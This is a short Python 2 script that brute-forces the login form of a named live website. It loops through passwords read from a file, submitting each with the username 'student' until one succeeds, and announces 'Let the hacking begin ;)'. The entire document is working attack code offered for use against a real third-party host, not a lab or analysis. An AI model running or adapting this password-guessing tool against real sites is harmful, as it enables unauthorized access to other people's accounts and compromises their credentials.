#!/usr/bin/env python
# This file repeatly perform form submission to the site with different
# password until the username and password combination has successfuly logged
# in
#
# Done By: Wang Yanxiang

import urllib
import urllib2

psw_list = [line.strip() for line in open('psw.txt')]
url = "https://www.dokeos.com/dokeos/index.php" # url of the submit form
user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.146 Safari/537.36'
values = {'login': '', 'password': '', 'submit': 'OK', '_qf__formLogin': ''}
headers = {'User-Agent': user_agent, 'Cookie': ''}

def get_cookie():
    # load the page once to get the cookie to make subsequent request work
    req = urllib2.Request(url)
    response = urllib2.urlopen(req)
    return [sid for sid in response.info().getheader('Set-Cookie').split('; ') if sid.startswith('dk_sid')][0]

def send_request(cookie='', username='student', password='student'):
    values['login'] = username
    values['password'] = password
    data = urllib.urlencode(values)
    headers['Cookie'] = cookie
    req = urllib2.Request(url, data, headers)
    response = urllib2.urlopen(req)
    return response.read()

def login_success(content):
    return 'login_fail' not in content

def main():
    c = get_cookie()
    username = 'student'
    print 'Let the hacking begin ;)'
    for p in psw_list:
        content = send_request(cookie=c, password=p)
        if login_success(content):
            print 'Username: %10s, password: %10s succeed!' % ('"'+username+'"', '"'+p+'"')
            break
        else:
            print 'Username: %10s, password: %10s fail' % ('"'+username+'"', '"'+p+'"')

if __name__ == '__main__':
    main()
